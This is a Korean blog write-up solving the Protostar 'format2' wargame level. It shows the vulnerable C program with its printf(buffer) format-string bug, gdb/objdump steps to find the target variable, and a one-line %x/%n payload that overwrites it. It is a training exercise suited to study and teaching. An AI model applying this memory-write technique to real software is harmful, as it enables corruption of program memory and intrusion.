int target; void vuln() { char buffer[512]; fgets(buffer, sizeof(buffer), stdin); printf(buffer); if(target == 64) { printf("you have modified the target :)\n"); } else { printf("target is %d :(\n", target); } } int main(int argc, char **argv) { vuln(); }
출처: http://liveoverflow.com/binary_hacking/protostar/format2.html
1. 문제해결 및 분석
1-1. target 확인
target의 위치 확인
objdump -t ./format2 | grep target
gdb ./format2
disas vuln
1-2. echo로 코딩
echo $(python -c "print 'AAAA'+ '\xe4\x96\x04\x08' + '%x.' * 3 + '%4x.' + '%n.' + '%x.' * 5") | ./format2
32비트니까 1~8까지 target은 39비트다.
9일 때 40이니까 64까지 가려면 24를 더해야한다
즉 9+24 = 33
1-3. format0과 format1의 개념적용
format0과 format1의 개념을 적용하여 해결 완료
참고 자료: https://www.inflearn.com/course/%ED%94%84%EB%A1%9C%ED%86%A0%EC%8A%A4%ED%83%80/
피드백 환영입니다!
'프로토스타' 카테고리의 다른 글
[프로토스타] format4 (0) | 2019.01.23 |
---|---|
[프로토스타] format3 (0) | 2019.01.23 |
[프로토스타] format1 (0) | 2019.01.22 |
[프로토스타] format0 (0) | 2019.01.18 |
[프로토스타] stack7-2 (ROP) (0) | 2019.01.18 |